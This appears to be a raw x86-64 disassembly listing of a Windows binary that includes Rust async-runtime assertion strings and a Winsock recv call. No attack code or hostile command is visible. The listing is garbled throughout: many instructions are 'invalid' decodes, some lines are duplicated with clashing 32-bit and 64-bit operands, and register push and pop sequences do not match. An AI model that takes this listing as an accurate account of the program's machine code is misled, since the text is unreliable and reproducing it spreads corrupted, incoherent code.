invalid
adc byte [rax - 0x7b], cl
ror byte [rdi], 0x84
fadd qword [rax]
add byte [rax], al
mov eax, edx
lodsb al, byte [rsi]
add eax, 0x28ba00
add byte [rax], al
test byte [rcx - 0x3b7cb710], 0x28
add byte [rax], al
mov rsi, rcx
mov rax, qword [rdx + 0x10]
test rax, rax
mov qword [rbp - 0x18], rdx
je 0x14016b52b
mov rcx, qword [rbp - 0x18]
mov rcx, qword [rcx + 0x18]
call qword [rax + 0x18]
mov rax, qword [rbp - 0x20]
mov r8, qword [rbp - 0x18]
mov qword [r8 + 0x10], rax
mov dword [rax + 0x10], eax
mov dword [rax + 0x10], eax
mov rax, qword [rbp - 0x28]
mov qword [r8 + 0x18], rax
mov rdi, qword [rsi]
mov edi, dword [rsi]
mov edi, dword [rsi]
xor ecx, ecx
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
test dil, 8
je 0x14016b5ae
test dil, 0x10
jne 0x14016b5cc
test dil, 2
jne 0x14016b57b
mov rdx, rdi
or rdx, 0x10
mov rax, rdi
lock cmpxchg qword [rsi], rdx
mov rdi, rax
jne 0x14016b550
mov rdi, rdx
jmp 0x14016b5a0
mov rax, qword [r8 + 0x10]
test rax, rax
je 0x14016b58f
mov rcx, qword [rbp - 0x18]
mov rcx, qword [rcx + 0x18]
mov ecx, dword [rcx + 0x18]
mov ecx, dword [rcx + 0x18]
call qword [rax + 0x18]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov qword [rax + 0x10], 0
add byte [rax], al
add byte [rax], al
mov ecx, 1
add byte [rax], al
mov rax, rcx
mov rdx, rdi
cli
cli
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
mov byte [rbp - 9], 0
lea rcx, str.assertion_failed:_curr.is_join_interested__
lea ecx, str.assertion_failed:_curr.is_join_interested__
lea ecx, str.assertion_failed:_curr.is_join_interested__
lea r8, [0x1401c64b8]
lea eax, [0x1401c64b8]
mov edx, 0x2b
sub eax, dword [rax]
add byte [rax], al
call fcn.140186b70
add dword [rax], eax
jmp 0x14016b624
mov byte [rbp - 9], 0
lea rcx, str.assertion_failed:__curr.is_join_waker_set__
invalid
add byte [rax - 0x73], cl
or eax, 0x5aef9
invalid
add byte [rbp + rcx*4 + 5], cl
and ch, byte [rdi + 0x2bba0005]
add byte [rdx + 0x2b], bh
invalid
lea r8, [0x1401c6500]
mov edx, 0x2b
add byte [rdx + 0x2b], bh
call fcn.140186b70
jmp 0x14016b624
mov byte [rbp + 0x3aeb0001], dh
mov byte [rbp - 9], 1
lea rcx, str.assertion_failed:_snapshot.is_join_interested__
stosd dword [rdi], eax
add eax, 0x58d4c00
add byte [rbp + rcx*4 + 5], cl
xchg esp, eax
stosd dword [rdi], eax
add eax, 0x2fba00
add byte [rax], al
invalid
test dword [r9], 0x6b0d8d48
stosd dword [rdi], eax
add eax, 0x58d4c00
add byte [rbp + rcx*4 + 5], cl
add byte [rbp + rcx*4 + 5], cl
xchg esp, eax
stosd dword [rdi], eax
add eax, 0x2fba00
add byte [rax], al
invalid
add al, ch
push 0xffffffffffffffb5
add dword [rax], eax
call fcn.140186b70
jmp 0x14016b624
sbb al, 0xc6
test dword [r9], 0x950d8d48
or eax, 0x5ab95
lea r8, [0x1401c61d8]
invalid
invalid
or eax, 0x5ab95
lea r8, [0x1401c61d8]
add eax, 0x5abbe
mov edx, 0x2f
call fcn.140186b70
invalid
add byte [rax], al
add al, ch
mov bpl, 1
add byte [rdi], cl
or esp, dword [rsi + 0x2e]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
ud2
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x50]
lea ebp, [rdx + 0x50]
in al, dx
and byte [rax - 0x73], cl
lea ebp, [rdx + 0x50]
lea ebp, [rdx + 0x50]
push rax
mov rax, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov qword [rcx + 0x10], rax
invalid
call 0x150583f94
adc byte [rax - 0x75], cl
fmul dword [r8 - 0x77]
invalid
invalid
mov rax, qword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
mov qword [rcx + 0x18], rax
sbb r14b, al
test dword [r8], 0x20c48348
add esp, 0x20
mov byte [rbp - 9], 0
add rsp, 0x20
add esp, 0x20
add esp, 0x20
and byte [rdi + 0x5e], bl
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push rsi
push rdi
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
lea rbp, [rdx + 0x50]
push 0x50
cmp byte [rbp - 9], 0
je 0x14016b687
invalid
adc dword [rax - 0x75], ecx
loopne 0x14016b6c3
mov rax, qword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
mov rcx, qword [rax + 0x18]
mov ecx, dword [rax + 0x18]
sbb byte [rax - 0x75], cl
push rbp
fsubr st(0)
mov rdx, qword [rbp - 0x28]
call fcn.1400deae0
pop rcx
xor al, 0xf7
idiv edi
pop rcx
xor al, 0xf7
idiv edi
nop
add rsp, 0x20
invalid
invalid
idiv edi
nop
add rsp, 0x20
invalid
invalid
invalid
pop rdi
pop rsi
pop rbp
ret
mov dword [rsp + 0x10], edx
and al, 0x10
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x50]
push rax
in al, dx
and byte [rax - 0x73], cl
push 0x50
push rax
push rax
mov rax, qword [rbp - 0x18]
mov qword [rax + 0x10], 0
adc byte [rax], al
add byte [rax], al
add dh, al
test dword [r8], 0x20c48348
adc byte [rax], al
add byte [rax], al
add dh, al
test dword [r8], 0x20c48348
pop rdi
pop rsi
pop rbp
ret
int3
add byte [rsp + rbx + 0x48], dh
mov ecx, dword [rdx + 0x20]
je 0x14016b6e1
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1401c6a94]
invalid
sbb byte [rax - 0x73], cl
adc eax, 0x5b3bc
invalid
add byte [rcx - 0x48], al
cmp eax, dword [rax]
add byte [rax], al
mov r8d, 0x3b
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x5b46c
invalid
sbb byte [rax - 0x73], cl
adc eax, 0x5b46c
invalid
add byte [rcx - 0x48], al
push rbx
add byte [rax], al
add byte [rax - 1], cl
jmp rax
int3
mov r8d, 0x53
jmp rax
int3
push rbx
sub rsp, 0x48
mov rsi, rdx
invalid
mov qword [rsp + 0x40], rcx
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
invalid
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x1401c6bb3]
mov r8d, 2
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x77], cl
je case.0x1401207b8.1143
invalid
add byte [rax], al
add bh, bh
push rax
sbb byte [rax - 0x77], cl
je case.0x1401207b8.1143
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x38], al
and al, 0x38
mov qword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x39], 0
lea r8, [0x1401c4510]
int3
lea eax, [0x18ca3ff47]
and al, 0x28
and al, 0x39
add byte [rbp + rcx*4 + 5], cl
int3
and al, 0x28
lea rdx, [rsp + 0x40]
call fcn.1400170c0
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
je 0x14016b7b8
mov bl, 1
test cl, cl
jne 0x14016b7ba
mov rsi, qword [rsp + 0x30]
mov esi, dword [rsp + 0x30]
cmp rax, 1
jne 0x14016b79c
add dword [rbp + 0x29], esi
cmp byte [rsp + 0x39], 0
je 0x14016b79c
add byte [rdx + riz - 0xa], dh
xor al, 4
test byte [rsi + 0x34], 4
jne 0x14016b79c
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
lea rdx, str._____
mov r8d, 1
add byte [rax], al
add eax, 0x1b84100
add byte [rax], al
add byte [rax], al
call qword [rax + 0x18]
test al, al
jne 0x14016b7ba
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
lea rdx, [0x1401c5a10]
add byte [rax], al
call qword [rax + 0x18]
test al, al
jne 0x14016b7ba
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
lea rdx, [0x1401c5a10]
movabs byte [0x1b8410005], al
mov r8d, 1
add byte [rax], al
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14016b7ba
mov ebx, ecx
test bl, bl
setne al
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
pop rbx
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
pop rbx
pop rsi
ret
int3
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp], 0xfffffffffffffffe
add r14b, r15b
invalid
invalid
inc dword [rcx + rcx*4 - 0x35]
mov ebx, ecx
add r14b, r15b
invalid
mov ebx, ecx
mov rdi, r8
mov r12, rdx
invalid
mov rsi, rcx
mov r14, qword [r8]
invalid
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
add byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x14016b851
add dword [rsi + rsi - 0x7b], esi
ror byte [rdi], 0x85
test eax, eax
jne 0x14016b8a5
invalid
add byte [rax], al
invalid
invalid
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
or cl, byte [0xcb5f1d2c]
or al, 0x25
and eax, 0x58
mov r15, qword [rcx + rax*8]
invalid
invalid
invalid
mov al, 0
and eax, 0x58
mov r15, qword [rcx + rax*8]
cmp al, 0xc1
lea rcx, [r15 + 0xb0]
add byte [rax], al
lea rdx, [0x140165fa0]
call fcn.14014a0c0
invalid
mov byte [r15 + 0x100], 1
add dword [rbx + 0xd0ab505], ecx
mov eax, dword [0x14023c30c]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
mov rcx, qword gs:[0x58]
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx edx, byte [rax + 0xfc]
mov dh, 0x90
cld
add byte [rax], al
add byte [rdi], cl
mov dh, 0x88
std
add byte [rax], al
add byte [rcx + 0x74d284c8], cl
enter 0xffffffffffffd284, 0x74
invalid
mov dh, 0x90
cld
add byte [rax], al
add byte [rdi], cl
mov dh, 0x88
std
add byte [rax], al
add byte [rcx + 0x74d284c8], cl
enter 0xffffffffffffd284, 0x74
enter 0xffffffffffffd284, 0x74
or eax, dword [rcx + rcx*8 + 0x11b840f]
test cl, cl
je 0x14016b99b
sbb eax, dword [rcx]
add byte [rax], al
lea eax, [rcx - 1]
mov dword [rbp - 4], edx
mov qword [rbp - 0x40], rcx
mov ecx, dword [0x14023c30c]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0xfd], al
jmp 0x14016b8b2
mov dword [rbp - 4], 0
xor eax, eax
mov qword [rbp - 0x40], rax
mov r14, qword [r12 + 0x90]
movzx r15d, bl
lea rbx, [r15 + r15*4]
add rbx, 5
lea eax, [rbx - 0x80000000]
test r14d, eax
je 0x14016b8e3
and ebx, r14d
mov edi, r14d
shr edi, 0x10
shr r14d, 0x1f
jmp 0x14016ba64
lea r13, [r12 + 0x98]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r12 + 0x98], cl
je 0x14016b903
mov al, 0
add byte [rax], al
mov qword [rbp - 0x10], rax
lea r14, [r12 + r15]
add r14, 0xb0
mov rax, qword [r12 + r15 + 0xb0]
cmp al, 0xb0
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rdx + 8]
test rax, rax
mov qword [rbp - 0x38], r12
mov dword [rbp - 0x38], esp
cmp al, 0xb0
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov dword [rbp - 0x38], esp
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x28], r14
je 0x14016b9ae
invalid
jno 0x14016b98a
mov r8, qword [rdx]
mov eax, dword [rdx]
mov rdx, qword [r8]
cmp qword [r14 + 8], rcx
jne 0x14016b970
invalid
invalid
cmp qword [rax], rdx
jne 0x14016b970
mov r9, qword [rax + 8]
cmp r9, qword [r8 + 8]
jne 0x14016b970
mov r9, qword [rax + 0x10]
cmp r9, qword [r8 + 0x10]
jne 0x14016b970
mov rax, qword [rax + 0x18]
cmp rax, qword [r8 + 0x18]
je 0x14016b9f3
call rdx
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x20], rdx
mov rax, qword [rbp - 0x10]
mov rax, qword [r12 + rax]
mov rcx, qword [r14 + 8]
or bh, bh
push rax
sbb byte [rax - 0x75], cl
invalid
invalid
or bh, bh
push rax
sbb byte [rax - 0x75], cl
call 0x1306444d9
call 0x1306444d9
mov eax, dword [rbp - 0x18]
call 0x1306444d9
mov rcx, qword [rbp - 0x10]
mov r12, qword [rbp - 0x38]
mov qword [r12 + rcx], rax
jmp 0x14016b9e3
invalid
enter 0xffffffffffff8949, 4
or al, 0xeb
mov rax, qword [r14]
mov rax, qword [r14]
mov rcx, qword [r14 + 8]
call qword [rax + reloc.WS2_32.dll_recv]
mov byte [rsi + 9], 3
invalid
or bh, bh
push rax
adc dh, al
or dword [rbx], r8d
invalid
add ebp, ecx
je 0x14016b9ad
jmp 0x14016bb22
add byte [rax], al
add byte [rax - 0x75], cl
add bh, bh
adc byte [rax - 0x77], cl
call 0x1206c4303
call 0x1206c4303
mov rax, qword [rdx]
mov eax, dword [rdx]
call qword [rax]
mov qword [rbp - 0x18], rax
call 0x1206c4303
call 0x1206c4303
mov rax, qword [rbp - 0x10]
mov rax, qword [r12 + rax]
test rax, rax
test eax, eax
invalid
test eax, eax
je 0x14016b9d3
mov rcx, qword [rbp - 0x28]
mov rcx, qword [rcx + 8]
call qword [rax + 0x18]
invalid
fmul dword [rax - 0x75]
or r15b, dil
push rax
sbb byte [rbx + rcx*4 + 0x65], cl
enter 0xffffffffffff8b48, 0x45
invalid
invalid
mov r12, qword [rbp - 0x38]
mov rax, qword [rbp - 0x10]
invalid
invalid
mov rcx, qword [rbp - 0x18]
mov qword [r12 + rax], rcx
mov dword [rsp + rax], ecx
invalid
mov dword [rsp + rax], ecx
mov rax, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x28]
mov qword [rcx + 8], rax
or byte [rbx + rcx*4 + 0x6d], cl
invalid
or byte [rbx + rcx*4 + 0x6d], cl
mov eax, 0x24bc8b49
mov esp, 0x9024
mov ebp, dword [rbp - 0x48]
mov rdi, qword [r12 + 0x90]
test edi, edi
invalid
js 0x14016ba1a
mov esp, 0x9024
add byte [rbp + 0x211b78ff], al
sti
invalid
and ebx, edi
je 0x14016ba31
shr edi, 0x10
xor r15d, r15d
xor r14d, r14d
xor esi, esi
xor esi, esi
xor ecx, ecx
mov al, 1
lock cmpxchg byte [r13], cl
cmpxchg byte [r13], cl
cmpxchg byte [r13], cl
jne 0x14016ba43
jmp 0x14016ba4b
shr edi, 0x10
mov r14b, 1
add dword [rbp + 0x31], eax
push qword [rcx]
leave
add dword [rbp + 0x31], eax
push qword [rcx]
leave
mov al, 1
lock cmpxchg byte [r13], cl
add eax, esi
cmpxchg byte [r13], cl
jne 0x14016ba43
jmp 0x14016ba4b
mov r14b, 2
mov r15b, 1
xor ecx, ecx
add dword [rcx], esi
leave
mov al, 1
lock cmpxchg byte [r13], cl
je 0x14016ba4b
invalid
add byte [rax + rcx + 0x4c], dh
mov ecx, ebp
or byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
call fcn.1401899c0
jne 0x14016ba28
add dword [rax], eax
test r15b, r15b
test bh, bh
je 0x14016ba64
mov byte [rsi + 9], 3
mov rdi, qword [rbp - 0x40]
mov edi, dword [rbp - 0x40]
mov edi, dword [rbp - 0x40]
ror byte [rbx - 0x3f7b03bb], 0x75
mov eax, dword [rbp - 4]
test al, al
invalid
jne case.0x140119330.1233
invalid
sal byte [rbp + 0x37], 0xe9
mov esi, 0xf000000
add byte [rdi], cl
invalid
jmp 0x14016bb22
add byte [rdi], cl
movzx eax, word [rbp - 0x4a]
mov word [rbp - 0x2c], ax
invalid
invalid
mov bh, 0x45
mov dh, 0x66
mov dword [rbp - 0x2c], eax
invalid
invalid
invalid
mov eax, dword [rbp - 0x4e]
mov dword [rbp - 0x30], eax
rol byte [rbp - 0x7c], 1
invalid
rol byte [rbp - 0x7c], 1
test byte [rdi], 0x84
mov es, word [rax]
add byte [rax], al
invalid
test dh, dh
je 0x14016bb09
add byte [rax], al
add al, ch
invalid
call fcn.140169670
mov qword [rsi], rax
mov dword [rsi], eax
dec dword [rax - 0x77]
invalid
mov dword [rsi], eax
mov byte [rsi + 9], 2
mov rdi, qword [rbp - 0x40]
mov edi, dword [rbp - 0x40]
add cl, byte [rax - 0x75]
jge 0x14016ba4b
mov edi, dword [rbp - 0x40]
mov eax, dword [rbp - 4]
cld
test al, al
je 0x14016bb22
add byte [rax], al
ror byte [rdi], 0x84
mov word [rax], es
add byte [rax], al
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
cmp eax, 1
je 0x14016bae6
test eax, eax
jne 0x14016bb22
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xor al, 0xc1
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
mov byte [rsi + 0x100], 1
add byte [rcx], al
add byte [rax], al
invalid
add byte [rcx], al
add byte [rax], al
add dword [rbx + 0xd082005], ecx
and byte [rax], cl
or eax, 0x8b486500
or al, 0x25
pop rax
add byte [rax], al
invalid
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
and byte [rax], cl
or eax, 0x8b486500
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov byte [rax + 0xfc], 1
mov byte [rax + 0xfd], dil
add byte [rax], al
invalid
add byte [rax], al
add dword [rax - 0x78], eax
mov eax, 0xfd
add byte [rax], al
invalid
add byte [rax], al
add bl, ch
sbb dword [rdi], ecx
mov bh, 0x45
invalid
invalid
jmp 0x14016bb22
movzx eax, word [rbp - 0x2c]
mov word [rsi + 0xe], ax
mov eax, dword [rbp - 0x30]
ror byte [r9 - 0x76b7f5ba], 1
invalid
mov byte [rsi + 8], dil
jle 0x14016bb26
invalid
ror byte [r9 - 0x76b7f5ba], 1
invalid
jle 0x14016bb26
mov byte [rsi + 9], 0
or dword [rax], eax
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
and al, 0x10
adc byte [rbp + 0x41], dl
push rbp
push r15
push rdi
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x70
sub byte [rax - 0x73], cl
push 0x70
mov ecx, dword [rbp - 4]
mov rdx, qword [rbp - 0x40]
call fcn.140042370
in eax, dx
call qword [rax + 0x28c48348]
nop
add rsp, 0x28
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rdi
pop rbp
ret
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
jo 0x14016bbe2
mov rcx, qword [rbp - 0x48]
mov ecx, dword [rbp - 0x48]
call fcn.14016f450
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
invalid
mov qword [rsp + 0x10], rdx
push rbp
push r15
push rdi
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
invalid
sub byte [rax - 0x73], cl
push 0x70
lea rbp, [rdx + 0x70]
mov rax, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 0x18]
push rbp
invalid
enter 0xffffffffffff8b48, 0x4d
invalid
mov edx, dword [rbp - 0x18]
push rbp
call 0x1482b4531
mov qword [rax + rcx], rdx
mov rax, qword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
loopne 0x14016bc36
mov rcx, qword [rbp - 0x28]
mov ecx, dword [rbp - 0x28]
mov qword [rcx + 8], rax
add rsp, 0x28
sub byte [rbx + 0x5f], bl
or byte [rax - 0x7d], cl
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x10], edx
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
adc byte [rbp + 0x41], dl
push rdi
push rbp
push r15
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
sub byte [rax - 0x73], cl
push 0x70
lea rbp, [rdx + 0x70]
lea ebp, [rdx + 0x70]
mov rax, qword [rbp - 0x18]
call 0x130644779
mov rcx, qword [rbp - 0x10]
invalid
mov rdx, qword [rbp - 0x38]
mov qword [rdx + rcx], rax
add al, 0xa
enter 0xffffffffffff8948, 4
or cl, byte [rax - 0x75]
mov dword [rdx + rcx], eax
add al, 0xa
mov rax, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x28]
mov ecx, dword [rbp - 0x28]
loopne 0x14016bc86
mov ecx, dword [rbp - 0x28]
mov qword [rcx + 8], rax
mov dword [rcx + 8], eax
or byte [rax - 0x7d], cl
invalid
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
int3
int3
int3
sub rsp, 0x30
lea rbp, [rsp + 0x30]
clc
invalid
invalid
mov dword [rbp - 0x10], ecx
invalid
invalid
add al, byte ss:[rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
push rsp
mov qword [rsp + 0x10], rdx
and al, 0x10
push rbp
sub rsp, 0x20
sub esp, 0x20
lea ebp, [rdx + 0x30]
invalid
out dx, al
call qword [rax + 0x20c48348]
int3
int3
int3
int3
int3
int3
in al, dx
lea rbp, [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
mov dword [rbp - 8], 0xfffffffe
clc
invalid
dec dword [rax - 0x75]
adc dword [rax - 0x7b], ecx
test rdx, rdx
je case.0x14014f2f1.354
mov qword [rbp - 0x18], rcx
mov edx, dword [rcx]
pop rcx
call 0x148594a3a
lea eax, [rdx + 8]
or byte [rax - 0x77], cl
or byte [rax - 0x77], cl
mov dword [rbp - 0x10], eax
invalid
mov dword [rbp - 0x20], edx
push rbp
loopne case.0x14014f2f1.354
invalid
or al, ch
jge case.0x14014e6ee.409
out dx, eax
dec dword [rax - 0x75]
invalid
mov ecx, dword [rbp - 0x20]
loopne 0x14016bd50
loopne 0x14016bd50
mov eax, dword [rcx]
dec qword [rax]
dec dword [rax]
or byte [rbp + 5], dh
add eax, 0xe9836be8
sub ecx, 0xffffffff
jmp 0x18da20617
dec dword [rax - 0x75]
invalid
mov ecx, dword [rbp - 0x10]
mov eax, dword [rcx]
add eax, esi
dec qword [rax]
add eax, 0xeda349e8
dec dword [rax - 0x75]
invalid
invalid
movabs dword [0x8b4ce8458b48ffed], eax
add byte [rax - 0x75], cl
invalid
invalid
mov eax, dword [rbp - 0x18]
call 0x18817487b
mov ecx, dword [0x14023c258]
or eax, 0xd0523
add eax, 0xd231000d
ror byte [rax - 0x7d], cl
invalid
and eax, 0x232e5
xor al, byte [rdx]
add byte [rax + 0x40c48348], dl
nop
add rsp, 0x40
add esp, 0x40
pop rbp
nop word [rax + rax]
nop dword [rax + rax]
invalid
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
in al, dx
and byte [rax - 0x73], cl
push 0x40
mov ecx, dword [rbp - 0x20]
loopne case.0x14014ef14.356
loopne case.0x14014ef14.356
pop rcx
invalid
nop
mov dword [rsp + 0x10], edx
adc byte [rbp + 0x48], dl
sub esp, 0x20
in al, dx
invalid
in al, dx
lea ebp, [rdx + 0x40]
mov ecx, dword [rbp - 0x10]
mov dword [rax], ebp
out dx, eax
call qword [rax + 0x20c48348]
add esp, 0x20
invalid
mov dword [rsp + 0x10], edx
adc byte [rbp + 0x48], dl
sub esp, 0x20
in al, dx
and byte [rax - 0x73], cl
invalid
lea ebp, [rdx + 0x40]
mov eax, dword [rbp - 0x18]
cmpsb byte [rsi], byte [rdi]
invalid
call qword [rax + 0x20c48348]
add esp, 0x20
invalid
int3
int3
int3
int3
int3
int3
mov eax, dword [rcx]
lock dec qword [rax]
dec dword [rax]
jne 0x14016bdce
jmp 0x195e381d0
ret
in al, dx
lea ebp, [rsp + 0x30]
clc
invalid
add byte [rax], al
int3
add byte [rax - 0x73], cl
idiv edi
cmp edi, 0xffffffff
invalid
out 0x20, eax
or al, 0x24
test eax, eax
mov qword cs:[rbp + 8], rax
add byte [r9], r8b
add byte [rax], al
add byte [rax], al
mov r15, qword [rbp + 8]
mov r13d, r15d
mov edi, dword [rbp + 8]
and ebp, 3
or byte [r8], r8b
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [r9], r8b
add byte [rax], al
add byte [rax], al
mov qword [rbp + 8], r15
mov r15, qword [rbp + 8]
mov r13d, r15d
mov dword [rbp + 8], edi
and ebp, 3
add al, 0xa9
invalid
invalid
mov eax, edi
clc
sub byte [rdi], cl
add byte [rax - 0x73], cl
lea ecx, [0x1401f08b4]
or byte [rax], al
add byte [rax + 0x63], cl
invalid
add eax, ecx
enter 0xffffffffffffe0ff, 0x31
loopne case.0x140155d52.124
shr bl, 0x11
adc dword [rsi + 0x66], esp
nop word cs:[rax + rax]
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + 0xf], al
movzx eax, byte [rdi + 0xf]
mov dh, 0x47
invalid
test edx, edi
cli
add dword [rax], eax
add byte [rax], al
retf
and ecx, dword [rcx - 0x75]
xchg byte [rax + 0x48000000], dl
nop
add byte [rax], al
add byte [rax - 0x3f], cl
shl ecx, 0x10
adc byte [rax - 0x7d], cl
imul byte [rdi]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
ret 0xeac1
invalid
adc cl, byte [rcx + 0x48f221c2]
or edx, ecx
invalid
ret 0xf221
or rdx, rcx
retf 0x49f0
cmpxchg qword [r14 + 0x90], rdx
mov cl, 0x96
add byte [rax], al
in eax, 0x49
lea eax, [rbp - 2]
invalid
invalid
dec byte [r8 - 0x7d]
dec byte [rax - 0x7d]
clc
sub eax, 0x4dfffffe
test ebp, ebp
in eax, dx
invalid
dec dword [rbp - 0x7b]
in eax, dx
test byte [rsi + rdi*8], ah
invalid
lea eax, [rdi - 1]
dec dword [r8 - 0x77]
adc byte [r9 - 0x75], r9b
adc byte [rcx - 0x75], cl
adc byte [rcx - 0x75], cl
mov ecx, dword [rdi - 1]
dec qword [r9 - 0x75]
dec dword [rcx - 0x75]
mov eax, dword [rdi + 7]
invalid
invalid
clc
mov dword [rbp - 0x10], eax
invalid
invalid
adc byte [rax - 0x75], cl
mov eax, dword [rbp - 0x10]
invalid
js case.0x14014f2f1.406
add byte [rdi], cl
test al, ch
std
call 0x18916c209
invalid
cmp dword [rax + 0x10], 0x11
adc byte [rcx], dl
std
mov eax, dword [rbp - 8]
invalid
push qword [rax - 0xa016db]
pop rdi
invalid
push qword [rax - 0xa716dd]
pop rax
invalid
push qword [rax - 0xae16dc]
push qword [rax - 0xb516e5]
invalid
push qword [rax - 0xbc16de]
invalid
push qword [rax - 0xc316f0]
